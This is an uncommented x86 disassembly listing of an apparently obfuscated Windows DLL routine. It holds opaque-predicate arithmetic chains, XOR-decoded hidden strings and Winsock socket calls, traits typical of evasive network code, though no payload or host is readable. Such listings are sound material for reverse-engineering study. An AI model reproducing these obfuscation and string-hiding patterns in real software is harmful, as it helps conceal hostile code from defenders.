and eax, 0xb9fb8c72
and eax, 0x9c8126c0
imul eax, eax, 0x971e9700
xor eax, 0xfaa3ce64
xor eax, 0xff2b533d
sub eax, 0xc40501e1
mov edi, 0x8e63b806
xor edx, edx
div edi
xor eax, 0x687b8d46
and eax, 0x6bbbd766
mov edi, 0x5b4be431
xor edx, edx
div edi
add eax, 0xb292b5e6
sub eax, 0x8f3af6e2
sub eax, 0x16cc7f5c
imul eax, eax, 0x8e6d953
or eax, 0xe319ec24
sub eax, 0xe112c2d5
imul eax, eax, 0x70bc39b2
xor eax, 0x913a51ae
sub eax, 0x85b5e625
or eax, 0xddb40162
and eax, 0x44ff6d32
mov edi, 0x184a74cf
xor edx, edx
div edi
sub eax, 0xe06f0d5a
add eax, 0xaa637dae
and eax, 0xc994a0c6
mov edi, 0x55421cc9
xor edx, edx
div edi
or eax, 0x8d87d396
xor eax, 0x42de036b
and eax, 0xb3f86cef
sub eax, 0xe619486
or eax, 0xfd95483e
and eax, 0x19bdc3e2
sub eax, 0xb5b07271
xor eax, 0xa989ccc8
add eax, 0xd3621e19
sub eax, 0xac3220ad
cmp dword [ecx], 0
setg cl
mov byte [esi + 0xb], cl
cmp eax, 0xa76051eb
jb 0x10057f65
mov al, byte [esi + 0xb]
test al, 1
jne 0x100550fe
jmp 0x10056f07
mov eax, dword [0x100c4c20]
sub eax, dword [0x100c4c24]
xor eax, 0xd8e3e082
mov ecx, 0x8cb5f00e
xor edx, edx
div ecx
xor eax, 0x8f13eb25
add eax, 0x13de6352
or eax, 0xd6d66ab9
and eax, 0x4526193b
mov ecx, 0xf89a3588
xor edx, edx
div ecx
add eax, 0x56148160
sub eax, 0x35ead1d5
add eax, 0x866f055b
mov ecx, 0x266339cd
xor edx, edx
div ecx
imul eax, eax, 0xd6ceb96e
mov ecx, 0x85c99880
xor edx, edx
div ecx
and eax, 0x735784e1
xor eax, 0xfab6a7c4
and eax, 0x85f51ee
and eax, 0xf83a1b05
add eax, 0x1c61b0be
add eax, 0xc9a001a6
add eax, 0xc8e5f6de
or eax, 0x17adc360
imul eax, eax, 0xe6f9e3dd
add eax, 0xe40e0592
xor eax, 0xebf929b5
or eax, 0xa281fab2
imul eax, eax, 0x47ab0262
xor eax, 0x76260061
mov ecx, 0xc0e45d0a
xor edx, edx
div ecx
and eax, 0x70e1a481
or eax, 0x99d096d4
or eax, 0x1a219ab1
imul eax, eax, 0x8ad7eb50
imul eax, eax, 0x6abddec6
sub eax, 0xede360ac
or eax, 0xaeaee4e8
xor eax, 0x66ff02e3
xor eax, 0x6a59087
or eax, 0x27779f78
and eax, 0xae30b7d7
mov ecx, 0x14d1b91d
xor edx, edx
div ecx
xor eax, 0x3234166e
imul eax, eax, 0x6e99bfca
or eax, 0x23bb4c3a
add eax, 0xd35521c
mov ecx, 0x54015917
xor edx, edx
div ecx
mov ecx, 0xa5882b28
xor edx, edx
div ecx
xor eax, 0x65e4eb6b
sub eax, 0x2bfe124b
add eax, 0xcd42e8b6
mov ecx, 0xf6627b3b
xor edx, edx
div ecx
mov ecx, 0xdb4a06fd
xor edx, edx
div ecx
add eax, 0x7d7c37b8
imul eax, eax, 0x87cf3c9a
imul eax, eax, 0x2eee296d
or eax, 0x2e9373af
and eax, 0x36d40361
add eax, 0xcd6935b4
sub eax, 0xdd18a0c9
or eax, 0xcfad03e0
mov ecx, 0x43657294
xor edx, edx
div ecx
or eax, 0x10b07191
xor eax, 0x8e044939
and eax, 0xd0f32312
imul eax, eax, 0xef0c76d3
sub eax, 0xd2aaef55
imul eax, eax, 0x48b8241d
xor eax, 0xa325e25
mov ecx, 0x8e04652c
xor edx, edx
div ecx
or eax, 0xbbda54c5
and eax, 0x7cfe3562
or eax, 0xef9ffe48
mov ecx, 0x25b01a8a
xor edx, edx
div ecx
cmp eax, 0xcc941795
jae 0x10057f6a
mov edi, dword [esi + 0x34]
mov eax, dword [0x100c4c28]
xor eax, dword [0x100c4c2c]
xor eax, 0xd7a2d4e8
or eax, 0x41e9bfe
xor eax, 0xe02b6172
mov ecx, 0xf9629ae6
xor edx, edx
div ecx
add eax, 0x83dbfe90
imul eax, eax, 0xb12ecd73
and eax, 0x4f8f4c4
add eax, 0x407ff01
imul eax, eax, 0x65f9391
mov ecx, 0xbeb00d0f
xor edx, edx
div ecx
add eax, 0xe8c0498d
and eax, 0xe97dafbc
add eax, 0x8b3410ec
add eax, 0x55748cab
xor eax, 0xf609963a
mov ecx, 0x63a91958
xor edx, edx
div ecx
or eax, 0x537096f
imul eax, eax, 0x637dd881
or eax, 0x8f1eaebc
or eax, 0x7cd202ac
sub eax, 0x48396d68
and eax, 0x1fd3c605
sub eax, 0x34e49ca3
sub eax, 0xde4e0e87
add eax, 0x906b5710
mov ecx, 0x9891f4e0
xor edx, edx
div ecx
or eax, 0x17917f3a
mov ecx, 0x8c9800b2
xor edx, edx
div ecx
or eax, 0xa8a0b349
mov ecx, 0x7e103a29
xor edx, edx
div ecx
imul eax, eax, 0xfad1f3e8
mov ecx, 0x583478f3
xor edx, edx
div ecx
sub eax, 0x18da253f
add eax, 0x9d42ec88
mov ecx, 0x878476f
xor edx, edx
div ecx
mov ecx, 0x9ff1f478
xor edx, edx
div ecx
imul eax, eax, 0x4852b187
add eax, 0x81c3d42a
add eax, 0x78f59a65
sub eax, 0xc46f294d
or eax, 0x53471054
sub eax, 0xa65c96f1
add eax, 0x296d4a9c
mov ecx, 0x976e7d0a
xor edx, edx
div ecx
or eax, 0x710465c
add eax, 0x4f3ca5fb
add eax, 0x7358c8ae
imul eax, eax, 0x6d44f11d
or eax, 0x3339876f
add eax, 0x8878ee19
imul eax, eax, 0xb51ee798
mov ecx, 0xf3337709
xor edx, edx
div ecx
mov ecx, 0x2cdb3c44
xor edx, edx
div ecx
or eax, 0x365aeb95
xor eax, 0xf1992654
add eax, 0xfa30c79e
imul eax, eax, 0xfac35a2d
add eax, 0xe5807ef5
add eax, 0x6ba31c2a
and eax, 0x11e4adbf
add eax, 0x8b0b6487
imul eax, eax, 0x1e0718f9
add eax, 0xdcf35fa0
and eax, 0x1a8d29ad
xor eax, 0x5de1a1b6
imul eax, eax, 0x172b1482
mov ecx, 0x2a86447b
xor edx, edx
div ecx
xor eax, 0x7db8ff7e
imul eax, eax, 0x6dd2a967
xor eax, 0xf62f8524
mov ecx, 0xc1c72c64
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0xcc]
or ecx, 0x23fac23c
mov dword [esi + 4], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [esi + 0x38]
mov ecx, dword [esi + 0x30]
mov eax, dword [esi + 4]
mov edi, dword [edi]
mov edi, dword [edi]
mov ebx, dword [edi]
sub ebx, 0x2c
mov dword [edi], ebx
mov edi, dword [edx]
mov edi, dword [edi]
add edi, 0x2c
mov edx, dword [edx]
mov dword [edx], edi
mov dword [ecx], 1
cmp eax, 0xe77dc6bc
ja 0x100570c3
jmp 0x100572cb
mov eax, dword [0x100c4c30]
or eax, dword [0x100c4c34]
mov ecx, 0xc6ecbc98
xor edx, edx
div ecx
mov ecx, 0x4c5c2fb6
xor edx, edx
div ecx
xor eax, 0x32c50351
mov ecx, 0xdb1ed9aa
xor edx, edx
div ecx
or eax, 0xc7c55195
and eax, 0xaca28894
or eax, 0x76300ad8
and eax, 0xdc9766ac
and eax, 0x217a37a4
xor eax, 0x59e86938
mov ecx, 0xde1f0391
xor edx, edx
div ecx
mov ecx, 0xf0d55a42
xor edx, edx
div ecx
imul eax, eax, 0x6a693c45
sub eax, 0x27dd1a4f
and eax, 0x44a1029e
or eax, 0x2bb03791
xor eax, 0xa9edd2d9
mov ecx, 0x61101b14
xor edx, edx
div ecx
or eax, 0xbc585922
mov ecx, 0x1b3cf682
xor edx, edx
div ecx
or eax, 0xd325c493
xor eax, 0xcf4e0ff1
imul eax, eax, 0xaa24a152
sub eax, 0x9386019
xor eax, 0x3d32d0e5
add eax, 0x41d02ccb
and eax, 0xaaa40eeb
xor eax, 0x144f0754
mov ecx, 0x711a7dc0
xor edx, edx
div ecx
sub eax, 0x3052ecec
add eax, 0xfd8c759b
imul eax, eax, 0xa9e8212
imul eax, eax, 0xc8b564ec
add eax, 0x259b39ab
sub eax, 0xf1b2fe6f
imul eax, eax, 0x6a8b5cf0
xor eax, 0xfec52135
sub eax, 0xca925c14
imul eax, eax, 0xb815bbfc
or eax, 0xd7140742
and eax, 0xc6aac52c
imul eax, eax, 0xf6abbc32
or eax, 0xdab972e
or eax, 0x66a88f59
and eax, 0xc65514be
sub eax, 0xc9eb3f13
and eax, 0x8ae460a4
and eax, 0x5086ada4
add eax, 0xd8575a3
add eax, 0x870bffef
mov ecx, 0x894ac678
xor edx, edx
div ecx
or eax, 0xe8dd8cec
mov ecx, 0xb483e164
xor edx, edx
div ecx
mov ecx, 0xf6355df4
xor edx, edx
div ecx
and eax, 0xba569095
mov ecx, 0x9bbaf5f5
xor edx, edx
div ecx
add eax, 0x312289b2
and eax, 0xdd27a48d
add eax, 0xb4647c14
sub eax, 0x2bc8ab39
and eax, 0xd895fefd
xor eax, 0x41cf9681
sub eax, 0xcb86295a
imul eax, eax, 0x4599b95e
add eax, 0xc63a7e14
imul eax, eax, 0x519188ca
and eax, 0x91983926
imul eax, eax, 0xe20f6757
or eax, 0x237a37b8
mov ecx, 0x13f1ca81
xor edx, edx
div ecx
or eax, 0x13fcfb8f
or eax, 0x94c0cd4b
cmp eax, 0x7771df9
je 0x10057fa8
mov ecx, dword [esi + 0x30]
mov eax, dword [0x100c4c38]
add eax, dword [0x100c4c3c]
xor eax, 0x3d9aa72e
add eax, 0x2cc3ef82
mov edi, 0xd12d6916
xor edx, edx
div edi
or eax, 0x27970dbd
xor eax, 0x1e92dd49
and eax, 0x463b28e9
add eax, 0x35bbcc97
and eax, 0x90c74f1f
and eax, 0x283e3432
sub eax, 0x510d90
add eax, 0x4d5eb254
sub eax, 0xa4ae6853
or eax, 0x868d0a94
or eax, 0x57a5ad67
mov edi, 0x419ffe6f
xor edx, edx
div edi
mov edi, 0x886ba039
xor edx, edx
div edi
or eax, 0x681c854f
xor eax, 0xa1207e7a
sub eax, 0x62da87a6
add eax, 0x91a43c8b
add eax, 0x999f11fe
imul eax, eax, 0x7d3c5eb6
add eax, 0xef90f2c8
sub eax, 0xee00650d
xor eax, 0x5df12c1b
mov edi, 0xc3981466
xor edx, edx
div edi
add eax, 0xd48bb748
sub eax, 0xe0153975
or eax, 0xf6934ca3
add eax, 0x9f0eccc6
imul eax, eax, 0xbee4aac9
add eax, 0x6528f707
add eax, 0x89a43138
sub eax, 0x7ae28d14
add eax, 0x7a4c5f84
imul eax, eax, 0x75e5773c
add eax, 0x1b778cff
imul eax, eax, 0x3ead5498
mov edi, 0x5bbcc160
xor edx, edx
div edi
or eax, 0x97eb27f8
mov edi, 0xaa7d07f4
xor edx, edx
div edi
or eax, 0xba759589
add eax, 0x4c1fe90e
xor eax, 0x6666ba0e
mov edi, 0x14316b51
xor edx, edx
div edi
mov edi, 0xfd521b26
xor edx, edx
div edi
mov edi, 0x16211f53
xor edx, edx
div edi
xor eax, 0x6e9c76d
imul eax, eax, 0x4a80d0fc
or eax, 0x6938e9d7
add eax, 0x2371b52a
sub eax, 0x359e06f8
sub eax, 0xf10577a3
sub eax, 0xac127d2c
sub eax, 0xcc798e9a
and eax, 0xcc72cb29
imul eax, eax, 0xba94cd50
imul eax, eax, 0xa2cfc5c7
xor eax, 0x4b95e321
mov edi, 0x9e98bc62
xor edx, edx
div edi
imul eax, eax, 0x860e4eca
sub eax, 0xb87d00fb
mov edi, 0x2b4bb694
xor edx, edx
div edi
mov edi, 0x4f64a962
xor edx, edx
div edi
xor eax, 0xd7767d04
xor eax, 0xaa4c48d5
imul eax, eax, 0x74dda4ab
and eax, 0x45b293f3
imul eax, eax, 0x99fe0ebd
add eax, 0xcf09fde9
add eax, 0xb0261936
xor eax, 0x682acdbe
mov ecx, dword [ecx]
mov dword [esi], ecx
cmp eax, 0x265ed6b7
jb 0x10057487
mov ecx, dword [esi + 0x138]
xor ecx, ebp
call fcn.1006d02f
mov eax, dword [esi]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov al, byte [0x100c3103]
xor al, 0x8f
mov byte [0x100c310c], al
mov al, byte [0x100c3104]
xor al, 0x80
mov byte [0x100c310d], al
mov al, byte [0x100c3105]
xor al, 0x34
mov byte [0x100c310e], al
mov al, byte [0x100c3106]
xor al, 0xe
mov byte [0x100c310f], al
mov al, byte [0x100c3107]
xor al, 0x5b
mov byte [0x100c3110], al
mov al, byte [0x100c3108]
xor al, 0xbc
mov byte [0x100c3111], al
mov al, byte [0x100c3109]
xor al, 0x6c
mov byte [0x100c3112], al
mov al, byte [0x100c310a]
xor al, 0x9c
mov byte [0x100c3113], al
mov al, byte [0x100c310b]
xor al, 0xb9
mov byte [0x100c3114], al
mov al, byte [0x100c316f]
xor al, 0x7a
mov byte [0x100c3179], al
mov al, byte [0x100c3170]
xor al, 0x25
mov byte [0x100c317a], al
mov al, byte [0x100c3171]
xor al, 0xae
mov byte [0x100c317b], al
mov al, byte [0x100c3172]
xor al, 0x22
mov byte [0x100c317c], al
mov al, byte [0x100c3173]
xor al, 0x70
mov byte [0x100c317d], al
mov al, byte [0x100c3174]
xor al, 0x31
mov byte [0x100c317e], al
mov al, byte [0x100c3175]
xor al, 0x91
mov byte [0x100c317f], al
mov al, byte [0x100c3176]
xor al, 0x95
mov byte [0x100c3180], al
mov al, byte [0x100c3177]
xor al, 0x44
mov byte [0x100c3181], al
mov al, byte [0x100c3178]
xor al, 0x9c
mov byte [0x100c3183], al
mov al, byte [0x100c31b1]
xor al, 0x75
mov byte [0x100c31bb], al
mov al, byte [str._W3]
xor al, 0x11
mov byte [0x100c31bc], al
mov al, byte [0x100c31b3]
xor al, 0x53
mov byte [0x100c31bd], al
mov al, byte [0x100c31b4]
xor al, 0x58
mov byte [0x100c31be], al
mov al, byte [0x100c31b5]
xor al, 0x24
mov byte [str.YUck], al
mov al, byte [0x100c31b6]
xor al, 0x5c
mov byte [0x100c31c0], al
mov al, byte [0x100c31b7]
xor al, 0xf2
mov byte [0x100c31c3], al
mov al, byte [0x100c31b8]
xor al, 0xc
mov byte [0x100c31c4], al
mov al, byte [0x100c31b9]
xor al, 0x7b
mov byte [0x100c31c5], al
mov al, byte [0x100c31ed]
xor al, 7
mov byte [0x100c31f2], al
mov al, byte [0x100c31ee]
xor al, 0x19
mov byte [0x100c31f3], al
mov al, byte [0x100c31ef]
xor al, 0x17
mov byte [0x100c31f4], al
mov al, byte [0x100c31f0]
xor al, 0xcc
mov byte [0x100c31f5], al
mov al, byte [0x100c31f1]
xor al, 0xf
mov byte [0x100c31f6], al
mov al, byte [0x100c3116]
xor al, 0x9e
mov byte [0x100c3121], al
mov al, byte [0x100c3117]
xor al, 0xb2
mov byte [0x100c3122], al
mov al, byte [0x100c3118]
xor al, 0xe2
mov byte [0x100c3123], al
mov al, byte [0x100c3119]
xor al, 0x80
mov byte [0x100c3124], al
mov al, byte [0x100c311a]
xor al, 0x89
mov byte [0x100c3125], al
mov al, byte [0x100c311b]
xor al, 0x7d
mov byte [0x100c3126], al
mov al, byte [0x100c311c]
xor al, 0x54
mov byte [0x100c3127], al
mov al, byte [0x100c311d]
xor al, 0x80
mov byte [0x100c3128], al
mov al, byte [0x100c311e]
xor al, 0x12
mov byte [0x100c3129], al
mov al, byte [0x100c311f]
xor al, 0xc3
mov byte [0x100c312a], al
mov al, byte [0x100c3120]
xor al, 0x6b
mov byte [0x100c312b], al
mov al, byte [0x100c31f7]
xor al, 0xc1
mov byte [0x100c31ff], al
mov al, byte [0x100c31f8]
xor al, 0xb9
mov byte [0x100c3200], al
mov al, byte [0x100c31f9]
xor al, 0x25
mov byte [0x100c3201], al
mov al, byte [0x100c31fa]
xor al, 0x59
mov byte [0x100c3202], al
mov al, byte [0x100c31fb]
xor al, 0xca
mov byte [str._Rc5], al
mov al, byte [0x100c31fc]
xor al, 0x65
mov byte [0x100c3204], al
mov al, byte [0x100c31fd]
xor al, 0x22
mov byte [0x100c3205], al
mov al, byte [0x100c31fe]
xor al, 0x88
mov byte [0x100c3206], al
mov al, byte [0x100c3207]
xor al, 0xd0
mov byte [0x100c320d], al
mov al, byte [0x100c3208]
xor al, 0x4d
mov byte [0x100c320e], al
mov al, byte [0x100c3209]
xor al, 0x13
mov byte [0x100c320f], al
mov al, byte [0x100c320a]
xor al, 0xed
mov byte [0x100c3210], al
mov al, byte [0x100c320b]
xor al, 0xbb
mov byte [0x100c3211], al
mov al, byte [0x100c3140]
xor al, 0x46
mov byte [0x100c314c], al
mov al, byte [0x100c3141]
xor al, 0x45
mov byte [0x100c314d], al
mov al, byte [0x100c3142]
xor al, 0xc
mov byte [0x100c314e], al
mov al, byte [0x100c3143]
xor al, 0x4c
mov byte [0x100c314f], al
mov al, byte [0x100c3144]
xor al, 0x53
mov byte [0x100c3150], al
mov al, byte [0x100c3145]
xor al, 0xad
mov byte [0x100c3151], al
mov al, byte [0x100c3146]
xor al, 0x3a
mov byte [0x100c3153], al
mov al, byte [0x100c3147]
xor al, 0x11
mov byte [0x100c3154], al
mov al, byte [0x100c3148]
xor al, 0x66
mov byte [0x100c3155], al
mov al, byte [0x100c3149]
xor al, 0xb7
mov byte [0x100c3156], al
mov al, byte [0x100c314a]
xor al, 0x45
mov byte [0x100c3157], al
mov al, byte [str.k7]
xor al, 0x5c
mov byte [0x100c3158], al
mov al, byte [0x100c3159]
xor al, 0x2a
mov byte [str.1HoF], al
mov al, byte [0x100c315a]
xor al, 0x98
mov byte [0x100c3165], al
mov al, byte [0x100c315b]
xor al, 0x9c
mov byte [0x100c3166], al
mov al, byte [str.7jef]
xor al, 0x68
mov byte [0x100c3167], al
mov al, byte [0x100c315d]
xor al, 0x59
mov byte [0x100c3168], al
mov al, byte [0x100c315e]
xor al, 0x29
mov byte [0x100c3169], al
mov al, byte [0x100c315f]
xor al, 0x48
mov byte [0x100c316a], al
mov al, byte [0x100c3160]
xor al, 0x82
mov byte [0x100c316b], al
mov al, byte [0x100c3161]
xor al, 0x6c
mov byte [0x100c316c], al
mov al, byte [0x100c3162]
xor al, 0x37
mov byte [0x100c316d], al
mov al, byte [0x100c3163]
xor al, 0x96
mov byte [0x100c316e], al
mov al, byte [0x100c31c6]
xor al, 0x3d
mov byte [0x100c31cb], al
mov al, byte [0x100c31c7]
xor al, 0xe2
mov byte [0x100c31cc], al
mov al, byte [0x100c31c8]
xor al, 0x80
mov byte [0x100c31cd], al
mov al, byte [0x100c31c9]
xor al, 0x91
mov byte [0x100c31ce], al
mov al, byte [0x100c31dd]
xor al, 0x8a
mov byte [0x100c31e5], al
mov al, byte [0x100c31de]
xor al, 0xb4
mov byte [0x100c31e6], al
mov al, byte [0x100c31df]
xor al, 0x8b
mov byte [0x100c31e7], al
mov al, byte [0x100c31e0]
xor al, 0x32
mov byte [0x100c31e8], al
mov al, byte [0x100c31e1]
xor al, 0x63
mov byte [0x100c31e9], al
mov al, byte [0x100c31e2]
xor al, 0x6f
mov byte [0x100c31ea], al
mov al, byte [0x100c31e3]
xor al, 0x26
mov byte [0x100c31eb], al
mov al, byte [0x100c31e4]
xor al, 0xde
mov byte [0x100c31ec], al
mov al, byte [0x100c3212]
xor al, 0x57
mov byte [0x100c3216], al
mov al, byte [0x100c3213]
xor al, 0x34
mov byte [0x100c3217], al
mov al, byte [0x100c3214]
xor al, 0xad
mov byte [0x100c3218], al
mov al, byte [0x100c3215]
xor al, 9
mov byte [0x100c3219], al
mov al, byte [0x100c31cf]
xor al, 0x2c
mov byte [0x100c31d6], al
mov al, byte [0x100c31d0]
xor al, 0xef
mov byte [0x100c31d7], al
mov al, byte [0x100c31d1]
xor al, 0x4f
mov byte [0x100c31d8], al
mov al, byte [0x100c31d2]
xor al, 0xe9
mov byte [0x100c31d9], al
mov al, byte [0x100c31d3]
xor al, 0x68
mov byte [0x100c31da], al
mov al, byte [0x100c31d4]
xor al, 0xdd
mov byte [0x100c31db], al
mov al, byte [0x100c31d5]
xor al, 0x5e
mov byte [0x100c31dc], al
mov al, byte [0x100c321a]
xor al, 0xaf
mov byte [0x100c3223], al
mov al, byte [0x100c321b]
xor al, 0x3d
mov byte [0x100c3224], al
mov al, byte [0x100c321c]
xor al, 0x49
mov byte [0x100c3225], al
mov al, byte [str.T5_n]
xor al, 0x74
mov byte [0x100c3226], al
mov al, byte [0x100c321e]
xor al, 0x41
mov byte [0x100c3228], al
mov al, byte [0x100c321f]
xor al, 0x7e
mov byte [0x100c3229], al
mov al, byte [0x100c3220]
xor al, 0x9d
mov byte [0x100c322a], al
mov al, byte [0x100c3221]
xor al, 0xb1
mov byte [0x100c322c], al
mov al, byte [0x100c3222]
xor al, 0x9c
mov byte [0x100c322e], al
mov al, byte [0x100c3184]
xor al, 0x49
mov byte [0x100c31a0], al
mov al, byte [0x100c3185]
xor al, 0x43
mov byte [0x100c31a1], al
mov al, byte [0x100c3186]
xor al, 0xb7
mov byte [0x100c31a2], al
mov al, byte [0x100c3187]
xor al, 0x3c
mov byte [0x100c31a3], al
mov al, byte [0x100c3188]
xor al, 0x9d
mov byte [0x100c31a4], al
mov al, byte [0x100c3189]
xor al, 0xc7
mov byte [0x100c31a5], al
mov al, byte [0x100c318a]
xor al, 0xa3
mov byte [0x100c31a6], al
mov al, byte [0x100c318b]
xor al, 0x4d
mov byte [0x100c31a8], al
mov al, byte [0x100c318c]
xor al, 0xa
mov byte [0x100c31a9], al
mov al, byte [0x100c318d]
xor al, 0x89
mov byte [0x100c31ac], al
mov al, byte [0x100c318e]
xor al, 0x92
mov byte [0x100c31ad], al
mov al, byte [0x100c318f]
xor al, 0xb0
mov byte [0x100c31ae], al
mov al, byte [0x100c3190]
xor al, 0xa2
mov byte [0x100c31b0], al
mov al, byte [str.Y_ayO]
xor al, 0x30
mov byte [0x100c3136], al
mov al, byte [0x100c312e]
xor al, 0x69
mov byte [0x100c3137], al
mov al, byte [0x100c312f]
xor al, 0x1c
mov byte [0x100c3138], al
mov al, byte [0x100c3130]
xor al, 0x10
mov byte [0x100c313a], al
mov al, byte [0x100c3131]
xor al, 0x7c
mov byte [0x100c313b], al
mov al, byte [0x100c3132]
xor al, 0xbd
mov byte [str.R57f_nm_], al
mov al, byte [0x100c3133]
xor al, 0xdd
mov byte [0x100c313d], al
mov al, byte [0x100c3134]
xor al, 0x94
mov byte [0x100c313e], al
mov al, byte [0x100c3135]
xor al, 0x8d
mov byte [0x100c313f], al
jmp 0x100534d6
mov edx, dword [esi + 0x54]
mov edi, dword [esi + 0x50]
mov ebx, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
mov eax, dword [0x100c3180]
mov dword [ecx + 7], eax
movsd xmm0, qword [0x100c3179]
movsd qword [ecx], xmm0
mov eax, dword [0x100c3129]
mov dword [ebx + 8], eax
mov eax, dword [esi + 0x120]
movsd xmm0, qword [0x100c3121]
movsd qword [ebx], xmm0
mov bx, word [0x100c313e]
mov word [edi + 8], bx
movsd xmm0, qword [0x100c3136]
movsd qword [edi], xmm0
mov di, word [0x100c3114]
mov word [edx + 8], di
movsd xmm0, qword [0x100c310c]
movsd qword [edx], xmm0
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1003fb60
mov edx, dword [esi + 0x58]
mov ecx, dword [esi + 0x4c]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x120]
mov dword [edx], edi
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1003fb60
mov edx, dword [esi + 0x5c]
mov ecx, dword [esi + 0x50]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x120]
mov dword [edx], edi
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1003fb60
mov edx, dword [esi + 0x60]
mov ecx, dword [esi + 0x54]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x120]
mov dword [edx], edi
mov edx, dword [eax]
xor edi, edi
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], edi
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.1003fb60
mov ecx, dword [esi + 0x64]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x68]
mov dword [ecx], edx
mov ecx, dword [0x100c31ff]
mov dword [eax], ecx
mov ecx, dword [str._Rc5]
mov dword [eax + 4], ecx
sub esp, 4
mov dword [esp], eax
call fcn.1004a590
add esp, 4
jmp 0x10054352
mov ecx, dword [esi + 0x40]
mov edi, dword [esi + 0x6c]
mov dword [edi], 5
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.1008dec0
mov edx, dword [esi + 0x40]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x70]
add ecx, 1
mov ebx, dword [edi]
sub ecx, ebx
mov dword [eax], ecx
mov eax, dword [eax]
mov ecx, edx
add ecx, dword [edi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1008df50
add esp, 0xc
jmp 0x1005465f
mov ecx, dword [esi + 0x7c]
mov edx, dword [esi + 0x88]
mov eax, dword [esi + 0x60]
mov edi, dword [esi + 0x84]
mov edi, dword [edi]
mov edi, dword [edi + 0x18]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [edx]
add edx, 4
sub esp, 0x10
mov dword [esp], 2
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0x16
call eax
mov ecx, dword [esi + 0x7c]
mov eax, dword [esi + 0x64]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], ecx
call eax
mov ecx, dword [esi + 0x8c]
mov edx, eax
mov eax, dword [esi + 0x128]
mov dword [ecx], edx
mov ecx, dword [ecx]
mov eax, dword [eax]
mov dword [eax], ecx
jmp 0x10054aa1
sub esp, 0xc
mov dword [esp], 2
mov dword [esp + 4], 6
mov dword [esp + 8], 0x24
call fcn.1002a0b0
add esp, 0xc
jmp 0x10055363
jmp 0x100557a8
jmp 0x10055b44
mov eax, dword [esi + 0xf0]
mov dword [eax], 0
jmp 0x10055eaf
jmp 0x10056280
mov eax, dword [esi + 0xfc]
mov ecx, dword [eax]
add ecx, 1
mov dword [eax], ecx
jmp 0x100565e1
mov ecx, dword [esi + 0xdc]
mov edi, dword [esi + 0xe4]
mov eax, dword [esi + 0xe0]
mov edx, dword [esi + 0x38]
mov ebx, dword [esi + 0xe8]
mov dword [ebx], 0
mov edx, dword [edx]
mov edx, dword [edx]
add edx, dword [edi]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1006fef0
mov edx, dword [esi + 0xe0]
mov ecx, dword [esi + 0xe4]
mov eax, dword [esi + 0xdc]
add esp, 0xc
mov edi, dword [edx]
mov edx, dword [ecx]
add edx, edi
mov dword [ecx], edx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.100709f0
add esp, 0xc
jmp 0x1005695d
jmp 0x10056d3c
mov eax, dword [esi + 0xcc]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [esi + 0x34]
mov ecx, dword [esi + 0x38]
mov eax, dword [esi + 0x30]
mov edx, dword [edx]
mov edx, dword [edx]
mov edi, dword [edx]
sub edi, 0x2c
mov dword [edx], edi
mov edx, dword [ecx]
mov edx, dword [edx]
add edx, 0x2c
mov ecx, dword [ecx]
mov dword [ecx], edx
mov dword [eax], 1
jmp 0x100570c3
jmp 0x10057487